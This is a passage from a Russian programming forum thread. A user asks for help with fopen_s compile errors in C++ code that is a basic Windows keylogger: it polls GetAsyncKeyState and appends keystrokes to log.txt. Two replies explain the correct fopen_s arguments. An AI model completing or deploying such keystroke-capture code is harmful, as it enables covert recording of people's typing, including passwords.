0 / 0 / 0
Регистрация: 14.02.2022
Сообщений: 3
1

Две ошибки в коде. C2664;E2919

14.02.2022, 16:04. Показов 400. Ответов 2
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Писал код,все вроде сделал.Но есть две ошибки.
Ошибка C2664 "errno_t fopen_s(FILE **,const char *,const char *)": невозможно преобразовать аргумент 1 из "char *" в "FILE **".
Ошибка в строке: if(fopen_s(file, "a+", "1")==0);
Ошибка E2919 Ошибка в командной строке;каталог.
Подскажите,пожалуйста,как исправить ошибки.Заранее спасибо!
Сам код ниже:



#include <iostream>
#include <Windows.h>
#include <fstream>

using namespace std;

int Save(int _key, char const* file);
int main() {
char i;
while (true) {
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int key_stroke, char *file) {
if ((key_stroke == 1) || (key_stroke == 2))
return 0;

FILE* OUTPUT_FILE;
if(fopen_s(file, "a+", "1")==0);

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");

fclose(OUTPUT_FILE);
return 0;
}
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
14.02.2022, 16:04
Ответы с готовыми решениями:

Ошибки кода C2664 и E0289
При компиляции возникают две ошибки, обе в 23 строке: E0289 отсутствуют экземпляры конструктора...

Нужно исправить две ошибки в коде
Всем привет. У меня недостаточно знаний, чтобы исправить эти ошибки, поэтому пишу сюда. В общем,...

Ошибки E0167, C2664
как пофиксить ошибки? #include &quot;pch.h&quot; #include &lt;Windows.h&gt; #include &lt;TlHelp32.h&gt; #include...

Две ошибки в коде
Я первый день изучаю Ruby по книге &quot;Путь Ryby&quot; и в первом же примере столкнулся с проблемой. Прошу...

Найти ошибки в коде и исправить эти ошибки (Наследование)
Вот в общем 3 файла, изучаю наследование на примере односвязного и двусвязного списков: list.h...

2
4063 / 3317 / 924
Регистрация: 25.03.2012
Сообщений: 12,483
Записей в блоге: 1
14.02.2022, 16:19 2
Цитата Сообщение от rvrnce Посмотреть сообщение
if(fopen_s(file, "a+", "1")==0);
https://docs.microsoft.com/ru-... 160#syntax
открываем и читаем
1 аргумент - указатель на указатель на дескриптор файла
2й аргумент имя файла (и если надо полный путь)
3й аргумент режим "r" "w" "a+" или прочие варианты режима открытия.
C++
1
2
3
4
5
errno_t fopen_s(
   FILE** pFile,
   const char *filename,
   const char *mode
);
а что у тебя?
имя не второе, а первое
режим не третий, а второй
на первом месте вообще ***та какая-то.
1
136 / 90 / 48
Регистрация: 16.08.2016
Сообщений: 357
14.02.2022, 16:21 3
rvrnce, fooen_s первым аргументом принимает указатель на FILE о чем вам внятно сказано в ошибке, вторым аргументом принимает имя файла, третьим режим открытия файла. https://docs.microsoft.com/ru-... w=msvc-160
1
14.02.2022, 16:21
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
14.02.2022, 16:21
Помогаю со студенческими работами здесь

Error C2664: atoi: невозможно преобразовать параметр 1 из "_TCHAR *" в "const char *" Как исправить эту ошибку в коде?
#include &quot;stdafx.h&quot; #define _XOPEN_SOURCE 500 #include &lt;conio.h&gt; #include &lt;stdio.h&gt;...

Найти ошибки в коде и исправить эти ошибки - C++
Судя по вываливающейся ошибки, идет двойное освобождение памяти. У самого не получается отловить...

Ошибки при компиляции - исправить ошибки в коде
Помогите исправить ошибки , не понимаю в чем может быть причина ... #include &lt;conio.h&gt;...

Найти ошибки в коде и исправить эти ошибки
Есть у меня вот такой код: #include &lt;iostream&gt; using namespace std; class A{ private:...

ошибки в готовом коде(ошибки указаны)
Ввести с клавиатуры строку (кол-во символов не больше 10). И определить ее длину c использованием...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru